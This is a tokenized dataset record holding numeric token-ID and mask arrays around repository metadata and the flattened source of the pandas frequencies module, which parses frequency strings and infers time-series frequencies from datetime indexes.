32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
kushalbhola/MyStuff
Practice/PythonApplication/env/Lib/site-packages/pandas/tseries/frequencies.py
2
15559
from datetime import timedelta import re from typing import Dict import numpy as np from pytz import AmbiguousTimeError from pandas._libs.algos import unique_deltas from pandas._libs.tslibs import Timedelta, Timestamp from pandas._libs.tslibs.ccalendar import MONTH_ALIASES, int_to_weekday from pandas._libs.tslibs.fields import build_field_sarray import pandas._libs.tslibs.frequencies as libfreqs from pandas._libs.tslibs.offsets import _offset_to_period_map import pandas._libs.tslibs.resolution as libresolution from pandas._libs.tslibs.resolution import Resolution from pandas._libs.tslibs.timezones import UTC from pandas._libs.tslibs.tzconversion import tz_convert from pandas.util._decorators import cache_readonly from pandas.core.dtypes.common import ( is_datetime64_dtype, is_period_arraylike, is_timedelta64_dtype, ) from pandas.core.dtypes.generic import ABCSeries from pandas.core.algorithms import unique from pandas.tseries.offsets import ( DateOffset, Day, Hour, Micro, Milli, Minute, Nano, Second, prefix_mapping, ) _ONE_MICRO = 1000 _ONE_MILLI = _ONE_MICRO * 1000 _ONE_SECOND = _ONE_MILLI * 1000 _ONE_MINUTE = 60 * _ONE_SECOND _ONE_HOUR = 60 * _ONE_MINUTE _ONE_DAY = 24 * _ONE_HOUR # --------------------------------------------------------------------- # Offset names ("time rules") and related functions #: cache of previously seen offsets _offset_map = {} # type: Dict[str, DateOffset] def get_period_alias(offset_str): """ alias to closest period strings BQ->Q etc""" return _offset_to_period_map.get(offset_str, None) _name_to_offset_map = { "days": Day(1), "hours": Hour(1), "minutes": Minute(1), "seconds": Second(1), "milliseconds": Milli(1), "microseconds": Micro(1), "nanoseconds": Nano(1), } def to_offset(freq): """ Return DateOffset object from string or tuple representation or datetime.timedelta object Parameters ---------- freq : str, tuple, datetime.timedelta, DateOffset or None Returns ------- DateOffset None if freq is None. Raises ------ ValueError If freq is an invalid frequency See Also -------- DateOffset Examples -------- >>> to_offset('5min') <5 * Minutes> >>> to_offset('1D1H') <25 * Hours> >>> to_offset(('W', 2)) <2 * Weeks: weekday=6> >>> to_offset((2, 'B')) <2 * BusinessDays> >>> to_offset(datetime.timedelta(days=1)) <Day> >>> to_offset(Hour()) <Hour> """ if freq is None: return None if isinstance(freq, DateOffset): return freq if isinstance(freq, tuple): name = freq[0] stride = freq[1] if isinstance(stride, str): name, stride = stride, name name, _ = libfreqs._base_and_stride(name) delta = get_offset(name) * stride elif isinstance(freq, timedelta): delta = None freq = Timedelta(freq) try: for name in freq.components._fields: offset = _name_to_offset_map[name] stride = getattr(freq.components, name) if stride != 0: offset = stride * offset if delta is None: delta = offset else: delta = delta + offset except Exception: raise ValueError(libfreqs.INVALID_FREQ_ERR_MSG.format(freq)) else: delta = None stride_sign = None try: splitted = re.split(libfreqs.opattern, freq) if splitted[-1] != "" and not splitted[-1].isspace(): # the last element must be blank raise ValueError("last element must be blank") for sep, stride, name in zip( splitted[0::4], splitted[1::4], splitted[2::4] ): if sep != "" and not sep.isspace(): raise ValueError("separator must be spaces") prefix = libfreqs._lite_rule_alias.get(name) or name if stride_sign is None: stride_sign = -1 if stride.startswith("-") else 1 if not stride: stride = 1 if prefix in Resolution._reso_str_bump_map.keys(): stride, name = Resolution.get_stride_from_decimal( float(stride), prefix ) stride = int(stride) offset = get_offset(name) offset = offset * int(np.fabs(stride) * stride_sign) if delta is None: delta = offset else: delta = delta + offset except Exception: raise ValueError(libfreqs.INVALID_FREQ_ERR_MSG.format(freq)) if delta is None: raise ValueError(libfreqs.INVALID_FREQ_ERR_MSG.format(freq)) return delta def get_offset(name): """ Return DateOffset object associated with rule name Examples -------- get_offset('EOM') --> BMonthEnd(1) """ if name not in libfreqs._dont_uppercase: name = name.upper() name = libfreqs._lite_rule_alias.get(name, name) name = libfreqs._lite_rule_alias.get(name.lower(), name) else: name = libfreqs._lite_rule_alias.get(name, name) if name not in _offset_map: try: split = name.split("-") klass = prefix_mapping[split[0]] # handles case where there's no suffix (and will TypeError if too # many '-') offset = klass._from_name(*split[1:]) except (ValueError, TypeError, KeyError): # bad prefix or suffix raise ValueError(libfreqs.INVALID_FREQ_ERR_MSG.format(name)) # cache _offset_map[name] = offset return _offset_map[name] # --------------------------------------------------------------------- # Period codes def infer_freq(index, warn=True): """ Infer the most likely frequency given the input index. If the frequency is uncertain, a warning will be printed. Parameters ---------- index : DatetimeIndex or TimedeltaIndex if passed a Series will use the values of the series (NOT THE INDEX) warn : boolean, default True Returns ------- str or None None if no discernible frequency TypeError if the index is not datetime-like ValueError if there are less than three values. """ import pandas as pd if isinstance(index, ABCSeries): values = index._values if not ( is_datetime64_dtype(values) or is_timedelta64_dtype(values) or values.dtype == object ): raise TypeError( "cannot infer freq from a non-convertible dtype " "on a Series of {dtype}".format(dtype=index.dtype) ) index = values if is_period_arraylike(index): raise TypeError( "PeriodIndex given. Check the `freq` attribute " "instead of using infer_freq." ) elif is_timedelta64_dtype(index): # Allow TimedeltaIndex and TimedeltaArray inferer = _TimedeltaFrequencyInferer(index, warn=warn) return inferer.get_freq() if isinstance(index, pd.Index) and not isinstance(index, pd.DatetimeIndex): if isinstance(index, (pd.Int64Index, pd.Float64Index)): raise TypeError( "cannot infer freq from a non-convertible index " "type {type}".format(type=type(index)) ) index = index.values if not isinstance(index, pd.DatetimeIndex): try: index = pd.DatetimeIndex(index) except AmbiguousTimeError: index = pd.DatetimeIndex(index.asi8) inferer = _FrequencyInferer(index, warn=warn) return inferer.get_freq() class _FrequencyInferer: """ Not sure if I can avoid the state machine here """ def __init__(self, index, warn=True): self.index = index self.values = index.asi8 # This moves the values, which are implicitly in UTC, to the # the timezone so they are in local time if hasattr(index, "tz"): if index.tz is not None: self.values = tz_convert(self.values, UTC, index.tz) self.warn = warn if len(index) < 3: raise ValueError("Need at least 3 dates to infer frequency") self.is_monotonic = ( self.index._is_monotonic_increasing or self.index._is_monotonic_decreasing ) @cache_readonly def deltas(self): return unique_deltas(self.values) @cache_readonly def deltas_asi8(self): return unique_deltas(self.index.asi8) @cache_readonly def is_unique(self): return len(self.deltas) == 1 @cache_readonly def is_unique_asi8(self): return len(self.deltas_asi8) == 1 def get_freq(self): """ Find the appropriate frequency string to describe the inferred frequency of self.values Returns ------- str or None """ if not self.is_monotonic or not self.index._is_unique: return None delta = self.deltas[0] if _is_multiple(delta, _ONE_DAY): return self._infer_daily_rule() # Business hourly, maybe. 17: one day / 65: one weekend if self.hour_deltas in ([1, 17], [1, 65], [1, 17, 65]): return "BH" # Possibly intraday frequency. Here we use the # original .asi8 values as the modified values # will not work around DST transitions. See #8772 elif not self.is_unique_asi8: return None delta = self.deltas_asi8[0] if _is_multiple(delta, _ONE_HOUR): # Hours return _maybe_add_count("H", delta / _ONE_HOUR) elif _is_multiple(delta, _ONE_MINUTE): # Minutes return _maybe_add_count("T", delta / _ONE_MINUTE) elif _is_multiple(delta, _ONE_SECOND): # Seconds return _maybe_add_count("S", delta / _ONE_SECOND) elif _is_multiple(delta, _ONE_MILLI): # Milliseconds return _maybe_add_count("L", delta / _ONE_MILLI) elif _is_multiple(delta, _ONE_MICRO): # Microseconds return _maybe_add_count("U", delta / _ONE_MICRO) else: # Nanoseconds return _maybe_add_count("N", delta) @cache_readonly def day_deltas(self): return [x / _ONE_DAY for x in self.deltas] @cache_readonly def hour_deltas(self): return [x / _ONE_HOUR for x in self.deltas] @cache_readonly def fields(self): return build_field_sarray(self.values) @cache_readonly def rep_stamp(self): return Timestamp(self.values[0]) def month_position_check(self): return libresolution.month_position_check(self.fields, self.index.dayofweek) @cache_readonly def mdiffs(self): nmonths = self.fields["Y"] * 12 + self.fields["M"] return unique_deltas(nmonths.astype("i8")) @cache_readonly def ydiffs(self): return unique_deltas(self.fields["Y"].astype("i8")) def _infer_daily_rule(self): annual_rule = self._get_annual_rule() if annual_rule: nyears = self.ydiffs[0] month = MONTH_ALIASES[self.rep_stamp.month] alias = "{prefix}-{month}".format(prefix=annual_rule, month=month) return _maybe_add_count(alias, nyears) quarterly_rule = self._get_quarterly_rule() if quarterly_rule: nquarters = self.mdiffs[0] / 3 mod_dict = {0: 12, 2: 11, 1: 10} month = MONTH_ALIASES[mod_dict[self.rep_stamp.month % 3]] alias = "{prefix}-{month}".format(prefix=quarterly_rule, month=month) return _maybe_add_count(alias, nquarters) monthly_rule = self._get_monthly_rule() if monthly_rule: return _maybe_add_count(monthly_rule, self.mdiffs[0]) if self.is_unique: days = self.deltas[0] / _ONE_DAY if days % 7 == 0: # Weekly day = int_to_weekday[self.rep_stamp.weekday()] return _maybe_add_count("W-{day}".format(day=day), days / 7) else: return _maybe_add_count("D", days) if self._is_business_daily(): return "B" wom_rule = self._get_wom_rule() if wom_rule: return wom_rule def _get_annual_rule(self): if len(self.ydiffs) > 1: return None if len(unique(self.fields["M"])) > 1: return None pos_check = self.month_position_check() return {"cs": "AS", "bs": "BAS", "ce": "A", "be": "BA"}.get(pos_check) def _get_quarterly_rule(self): if len(self.mdiffs) > 1: return None if not self.mdiffs[0] % 3 == 0: return None pos_check = self.month_position_check() return {"cs": "QS", "bs": "BQS", "ce": "Q", "be": "BQ"}.get(pos_check) def _get_monthly_rule(self): if len(self.mdiffs) > 1: return None pos_check = self.month_position_check() return {"cs": "MS", "bs": "BMS", "ce": "M", "be": "BM"}.get(pos_check) def _is_business_daily(self): # quick check: cannot be business daily if self.day_deltas != [1, 3]: return False # probably business daily, but need to confirm first_weekday = self.index[0].weekday() shifts = np.diff(self.index.asi8) shifts = np.floor_divide(shifts, _ONE_DAY) weekdays = np.mod(first_weekday + np.cumsum(shifts), 7) return np.all( ((weekdays == 0) & (shifts == 3)) | ((weekdays > 0) & (weekdays <= 4) & (shifts == 1)) ) def _get_wom_rule(self): # wdiffs = unique(np.diff(self.index.week)) # We also need -47, -49, -48 to catch index spanning year boundary # if not lib.ismember(wdiffs, set([4, 5, -47, -49, -48])).all(): # return None weekdays = unique(self.index.weekday) if len(weekdays) > 1: return None week_of_months = unique((self.index.day - 1) // 7) # Only attempt to infer up to WOM-4. See #9425 week_of_months = week_of_months[week_of_months < 4] if len(week_of_months) == 0 or len(week_of_months) > 1: return None # get which week week = week_of_months[0] + 1 wd = int_to_weekday[weekdays[0]] return "WOM-{week}{weekday}".format(week=week, weekday=wd) class _TimedeltaFrequencyInferer(_FrequencyInferer): def _infer_daily_rule(self): if self.is_unique: days = self.deltas[0] / _ONE_DAY if days % 7 == 0: # Weekly wd = int_to_weekday[self.rep_stamp.weekday()] alias = "W-{weekday}".format(weekday=wd) return _maybe_add_count(alias, days / 7) else: return _maybe_add_count("D", days) def _is_multiple(us, mult): return us % mult == 0 def _maybe_add_count(base, count): if count != 1: assert count == int(count) count = int(count) return "{count}{base}".format(count=count, base=base) else: return base
apache-2.0
[ 504, 2197, 492, 6871, 199, 646, 295, 199, 504, 14090, 492, 7448, 199, 199, 646, 2680, 465, 980, 199, 504, 15444, 492, 437, 887, 20357, 1366, 547, 199, 199, 504, 10634, 423, 8450, 14, 6731, 736, 492, 3747, 63, 25446, 199, 504, 10634, 423, 8450, 14, 1086, 8450, 492, 4703, 3136, 12, 18267, 199, 504, 10634, 423, 8450, 14, 1086, 8450, 14, 67, 8183, 492, 603, 615, 2080, 63, 12644, 654, 12, 1109, 63, 475, 63, 12451, 199, 504, 10634, 423, 8450, 14, 1086, 8450, 14, 955, 492, 1900, 63, 698, 63, 83, 1144, 199, 646, 10634, 423, 8450, 14, 1086, 8450, 14, 70, 17085, 465, 1973, 28557, 199, 504, 10634, 423, 8450, 14, 1086, 8450, 14, 14253, 492, 485, 2743, 63, 475, 63, 5191, 63, 1130, 199, 646, 10634, 423, 8450, 14, 1086, 8450, 14, 12588, 465, 1973, 12588, 199, 504, 10634, 423, 8450, 14, 1086, 8450, 14, 12588, 492, 3591, 3347, 199, 504, 10634, 423, 8450, 14, 1086, 8450, 14, 7145, 83, 492, 12174, 199, 504, 10634, 423, 8450, 14, 1086, 8450, 14, 3903, 15083, 492, 5823, 63, 3916, 199, 504, 10634, 14, 1974, 423, 11582, 492, 2581, 63, 6753, 199, 199, 504, 10634, 14, 1018, 14, 5717, 14, 2330, 492, 334, 272, 365, 63, 2083, 772, 63, 2271, 12, 272, 365, 63, 5191, 63, 1144, 2930, 12, 272, 365, 63, 7473, 772, 63, 2271, 12, 199, 9, 199, 504, 10634, 14, 1018, 14, 5717, 14, 6767, 492, 17281, 9641, 199, 199, 504, 10634, 14, 1018, 14, 24365, 492, 3747, 199, 199, 504, 10634, 14, 84, 5602, 14, 14253, 492, 334, 272, 6148, 6397, 12, 272, 28358, 12, 272, 869, 567, 12, 272, 27022, 12, 272, 603, 8148, 12, 272, 10195, 938, 12, 272, 653, 8143, 12, 272, 16707, 12, 272, 2403, 63, 4745, 12, 199, 9, 199, 199, 63, 4817, 63, 29112, 275, 5198, 199, 63, 4817, 63, 45, 1193, 2673, 275, 485, 4817, 63, 29112, 627, 5198, 199, 63, 4817, 63, 24236, 275, 485, 4817, 63, 45, 1193, 2673, 627, 5198, 199, 63, 4817, 63, 4896, 4586, 275, 5212, 627, 485, 4817, 63, 24236, 199, 63, 4817, 63, 2979, 1230, 275, 5212, 627, 485, 4817, 63, 4896, 4586, 199, 63, 4817, 63, 11655, 275, 5504, 627, 485, 4817, 63, 2979, 1230, 199, 199, 3, 5620, 9858, 199, 3, 29432, 1561, 1689, 521, 4713, 531, 436, 4048, 3423, 199, 199, 12573, 2581, 402, 10889, 6775, 15340, 199, 63, 2743, 63, 1130, 275, 1052, 221, 327, 730, 26, 7448, 59, 495, 12, 6148, 6397, 61, 421, 199, 318, 664, 63, 5191, 63, 3620, 8, 2743, 63, 495, 304, 272, 408, 5162, 370, 18284, 6247, 3326, 699, 49, 5118, 49, 5423, 624, 272, 372, 485, 2743, 63, 475, 63, 5191, 63, 1130, 14, 362, 8, 2743, 63, 495, 12, 488, 9, 421, 199, 63, 354, 63, 475, 63, 2743, 63, 1130, 275, 469, 272, 298, 4899, 582, 28358, 8, 17, 395, 272, 298, 8419, 582, 869, 567, 8, 17, 395, 272, 298, 10430, 582, 10195, 938, 8, 17, 395, 272, 298, 4515, 582, 16707, 8, 17, 395, 272, 298, 19579, 4515, 582, 603, 8148, 8, 17, 395, 272, 298, 18144, 582, 27022, 8, 17, 395, 272, 298, 4304, 3362, 2776, 582, 653, 8143, 8, 17, 395, 199, 93, 421, 199, 318, 370, 63, 2743, 8, 5646, 304, 272, 408, 272, 1432, 6148, 6397, 909, 687, 1059, 503, 2008, 6025, 272, 503, 2197, 14, 7473, 909, 339, 3897, 272, 4143, 272, 9220, 520, 620, 12, 2008, 12, 2197, 14, 7473, 12, 6148, 6397, 503, 488, 339, 1803, 272, 5514, 272, 6148, 6397, 267, 488, 340, 9220, 365, 488, 14, 339, 6218, 272, 21397, 272, 1722, 267, 982, 9220, 365, 376, 3866, 9857, 339, 1666, 6121, 272, 3001, 272, 6148, 6397, 339, 6058, 272, 3001, 272, 1306, 370, 63, 2743, 360, 21, 827, 358, 272, 665, 21, 627, 10195, 3862, 30, 339, 1306, 370, 63, 2743, 360, 17, 36, 17, 40, 358, 272, 665, 821, 627, 869, 16363, 30, 339, 1306, 370, 63, 2743, 4725, 55, 297, 499, 430, 272, 665, 18, 627, 31072, 83, 26, 20947, 29, 22, 30, 339, 1306, 370, 63, 2743, 1332, 18, 12, 283, 34, 1333, 272, 665, 18, 627, 23813, 25589, 30, 339, 1306, 370, 63, 2743, 8, 2083, 14, 7473, 8, 4899, 29, 17, 430, 272, 665, 12631, 30, 339, 1306, 370, 63, 2743, 8, 24246, 1012, 272, 665, 24246, 30, 272, 408, 272, 340, 9220, 365, 488, 26, 267, 372, 488, 339, 340, 1228, 8, 5646, 12, 6148, 6397, 304, 267, 372, 9220, 339, 340, 1228, 8, 5646, 12, 2008, 304, 267, 536, 275, 9220, 59, 16, 61, 267, 7345, 275, 9220, 59, 17, 61, 267, 340, 1228, 8, 12318, 12, 620, 304, 288, 536, 12, 7345, 275, 7345, 12, 536, 267, 536, 12, 485, 275, 1973, 28557, 423, 1095, 63, 460, 63, 12318, 8, 354, 9, 267, 5762, 275, 664, 63, 2743, 8, 354, 9, 627, 7345, 339, 916, 1228, 8, 5646, 12, 6871, 304, 267, 5762, 275, 488, 267, 9220, 275, 4703, 3136, 8, 5646, 9, 267, 862, 26, 288, 367, 536, 315, 9220, 14, 4608, 423, 955, 26, 355, 3268, 275, 485, 354, 63, 475, 63, 2743, 63, 1130, 59, 354, 61, 355, 7345, 275, 2519, 8, 5646, 14, 4608, 12, 536, 9, 355, 340, 7345, 1137, 378, 26, 490, 3268, 275, 7345, 627, 3268, 490, 340, 5762, 365, 488, 26, 717, 5762, 275, 3268, 490, 587, 26, 717, 5762, 275, 5762, 435, 3268, 267, 871, 2186, 26, 288, 746, 1722, 8, 773, 28557, 14, 9692, 63, 38, 14583, 63, 2666, 63, 9740, 14, 908, 8, 5646, 430, 339, 587, 26, 267, 5762, 275, 488, 267, 7345, 63, 1037, 275, 488, 267, 862, 26, 288, 30183, 275, 295, 14, 1294, 8, 773, 28557, 14, 411, 2134, 12, 9220, 9, 288, 340, 30183, 1988, 17, 61, 1137, 3087, 436, 440, 30183, 1988, 17, 1055, 23360, 837, 355, 327, 314, 2061, 1819, 1471, 506, 4596, 355, 746, 1722, 480, 2019, 1819, 1471, 506, 4596, 531, 288, 367, 7375, 12, 7345, 12, 536, 315, 3482, 8, 355, 30183, 59, 16, 447, 20, 467, 30183, 59, 17, 447, 20, 467, 30183, 59, 18, 447, 20, 61, 288, 3461 ]
[ 2197, 492, 6871, 199, 646, 295, 199, 504, 14090, 492, 7448, 199, 199, 646, 2680, 465, 980, 199, 504, 15444, 492, 437, 887, 20357, 1366, 547, 199, 199, 504, 10634, 423, 8450, 14, 6731, 736, 492, 3747, 63, 25446, 199, 504, 10634, 423, 8450, 14, 1086, 8450, 492, 4703, 3136, 12, 18267, 199, 504, 10634, 423, 8450, 14, 1086, 8450, 14, 67, 8183, 492, 603, 615, 2080, 63, 12644, 654, 12, 1109, 63, 475, 63, 12451, 199, 504, 10634, 423, 8450, 14, 1086, 8450, 14, 955, 492, 1900, 63, 698, 63, 83, 1144, 199, 646, 10634, 423, 8450, 14, 1086, 8450, 14, 70, 17085, 465, 1973, 28557, 199, 504, 10634, 423, 8450, 14, 1086, 8450, 14, 14253, 492, 485, 2743, 63, 475, 63, 5191, 63, 1130, 199, 646, 10634, 423, 8450, 14, 1086, 8450, 14, 12588, 465, 1973, 12588, 199, 504, 10634, 423, 8450, 14, 1086, 8450, 14, 12588, 492, 3591, 3347, 199, 504, 10634, 423, 8450, 14, 1086, 8450, 14, 7145, 83, 492, 12174, 199, 504, 10634, 423, 8450, 14, 1086, 8450, 14, 3903, 15083, 492, 5823, 63, 3916, 199, 504, 10634, 14, 1974, 423, 11582, 492, 2581, 63, 6753, 199, 199, 504, 10634, 14, 1018, 14, 5717, 14, 2330, 492, 334, 272, 365, 63, 2083, 772, 63, 2271, 12, 272, 365, 63, 5191, 63, 1144, 2930, 12, 272, 365, 63, 7473, 772, 63, 2271, 12, 199, 9, 199, 504, 10634, 14, 1018, 14, 5717, 14, 6767, 492, 17281, 9641, 199, 199, 504, 10634, 14, 1018, 14, 24365, 492, 3747, 199, 199, 504, 10634, 14, 84, 5602, 14, 14253, 492, 334, 272, 6148, 6397, 12, 272, 28358, 12, 272, 869, 567, 12, 272, 27022, 12, 272, 603, 8148, 12, 272, 10195, 938, 12, 272, 653, 8143, 12, 272, 16707, 12, 272, 2403, 63, 4745, 12, 199, 9, 199, 199, 63, 4817, 63, 29112, 275, 5198, 199, 63, 4817, 63, 45, 1193, 2673, 275, 485, 4817, 63, 29112, 627, 5198, 199, 63, 4817, 63, 24236, 275, 485, 4817, 63, 45, 1193, 2673, 627, 5198, 199, 63, 4817, 63, 4896, 4586, 275, 5212, 627, 485, 4817, 63, 24236, 199, 63, 4817, 63, 2979, 1230, 275, 5212, 627, 485, 4817, 63, 4896, 4586, 199, 63, 4817, 63, 11655, 275, 5504, 627, 485, 4817, 63, 2979, 1230, 199, 199, 3, 5620, 9858, 199, 3, 29432, 1561, 1689, 521, 4713, 531, 436, 4048, 3423, 199, 199, 12573, 2581, 402, 10889, 6775, 15340, 199, 63, 2743, 63, 1130, 275, 1052, 221, 327, 730, 26, 7448, 59, 495, 12, 6148, 6397, 61, 421, 199, 318, 664, 63, 5191, 63, 3620, 8, 2743, 63, 495, 304, 272, 408, 5162, 370, 18284, 6247, 3326, 699, 49, 5118, 49, 5423, 624, 272, 372, 485, 2743, 63, 475, 63, 5191, 63, 1130, 14, 362, 8, 2743, 63, 495, 12, 488, 9, 421, 199, 63, 354, 63, 475, 63, 2743, 63, 1130, 275, 469, 272, 298, 4899, 582, 28358, 8, 17, 395, 272, 298, 8419, 582, 869, 567, 8, 17, 395, 272, 298, 10430, 582, 10195, 938, 8, 17, 395, 272, 298, 4515, 582, 16707, 8, 17, 395, 272, 298, 19579, 4515, 582, 603, 8148, 8, 17, 395, 272, 298, 18144, 582, 27022, 8, 17, 395, 272, 298, 4304, 3362, 2776, 582, 653, 8143, 8, 17, 395, 199, 93, 421, 199, 318, 370, 63, 2743, 8, 5646, 304, 272, 408, 272, 1432, 6148, 6397, 909, 687, 1059, 503, 2008, 6025, 272, 503, 2197, 14, 7473, 909, 339, 3897, 272, 4143, 272, 9220, 520, 620, 12, 2008, 12, 2197, 14, 7473, 12, 6148, 6397, 503, 488, 339, 1803, 272, 5514, 272, 6148, 6397, 267, 488, 340, 9220, 365, 488, 14, 339, 6218, 272, 21397, 272, 1722, 267, 982, 9220, 365, 376, 3866, 9857, 339, 1666, 6121, 272, 3001, 272, 6148, 6397, 339, 6058, 272, 3001, 272, 1306, 370, 63, 2743, 360, 21, 827, 358, 272, 665, 21, 627, 10195, 3862, 30, 339, 1306, 370, 63, 2743, 360, 17, 36, 17, 40, 358, 272, 665, 821, 627, 869, 16363, 30, 339, 1306, 370, 63, 2743, 4725, 55, 297, 499, 430, 272, 665, 18, 627, 31072, 83, 26, 20947, 29, 22, 30, 339, 1306, 370, 63, 2743, 1332, 18, 12, 283, 34, 1333, 272, 665, 18, 627, 23813, 25589, 30, 339, 1306, 370, 63, 2743, 8, 2083, 14, 7473, 8, 4899, 29, 17, 430, 272, 665, 12631, 30, 339, 1306, 370, 63, 2743, 8, 24246, 1012, 272, 665, 24246, 30, 272, 408, 272, 340, 9220, 365, 488, 26, 267, 372, 488, 339, 340, 1228, 8, 5646, 12, 6148, 6397, 304, 267, 372, 9220, 339, 340, 1228, 8, 5646, 12, 2008, 304, 267, 536, 275, 9220, 59, 16, 61, 267, 7345, 275, 9220, 59, 17, 61, 267, 340, 1228, 8, 12318, 12, 620, 304, 288, 536, 12, 7345, 275, 7345, 12, 536, 267, 536, 12, 485, 275, 1973, 28557, 423, 1095, 63, 460, 63, 12318, 8, 354, 9, 267, 5762, 275, 664, 63, 2743, 8, 354, 9, 627, 7345, 339, 916, 1228, 8, 5646, 12, 6871, 304, 267, 5762, 275, 488, 267, 9220, 275, 4703, 3136, 8, 5646, 9, 267, 862, 26, 288, 367, 536, 315, 9220, 14, 4608, 423, 955, 26, 355, 3268, 275, 485, 354, 63, 475, 63, 2743, 63, 1130, 59, 354, 61, 355, 7345, 275, 2519, 8, 5646, 14, 4608, 12, 536, 9, 355, 340, 7345, 1137, 378, 26, 490, 3268, 275, 7345, 627, 3268, 490, 340, 5762, 365, 488, 26, 717, 5762, 275, 3268, 490, 587, 26, 717, 5762, 275, 5762, 435, 3268, 267, 871, 2186, 26, 288, 746, 1722, 8, 773, 28557, 14, 9692, 63, 38, 14583, 63, 2666, 63, 9740, 14, 908, 8, 5646, 430, 339, 587, 26, 267, 5762, 275, 488, 267, 7345, 63, 1037, 275, 488, 267, 862, 26, 288, 30183, 275, 295, 14, 1294, 8, 773, 28557, 14, 411, 2134, 12, 9220, 9, 288, 340, 30183, 1988, 17, 61, 1137, 3087, 436, 440, 30183, 1988, 17, 1055, 23360, 837, 355, 327, 314, 2061, 1819, 1471, 506, 4596, 355, 746, 1722, 480, 2019, 1819, 1471, 506, 4596, 531, 288, 367, 7375, 12, 7345, 12, 536, 315, 3482, 8, 355, 30183, 59, 16, 447, 20, 467, 30183, 59, 17, 447, 20, 467, 30183, 59, 18, 447, 20, 61, 288, 3461, 0 ]
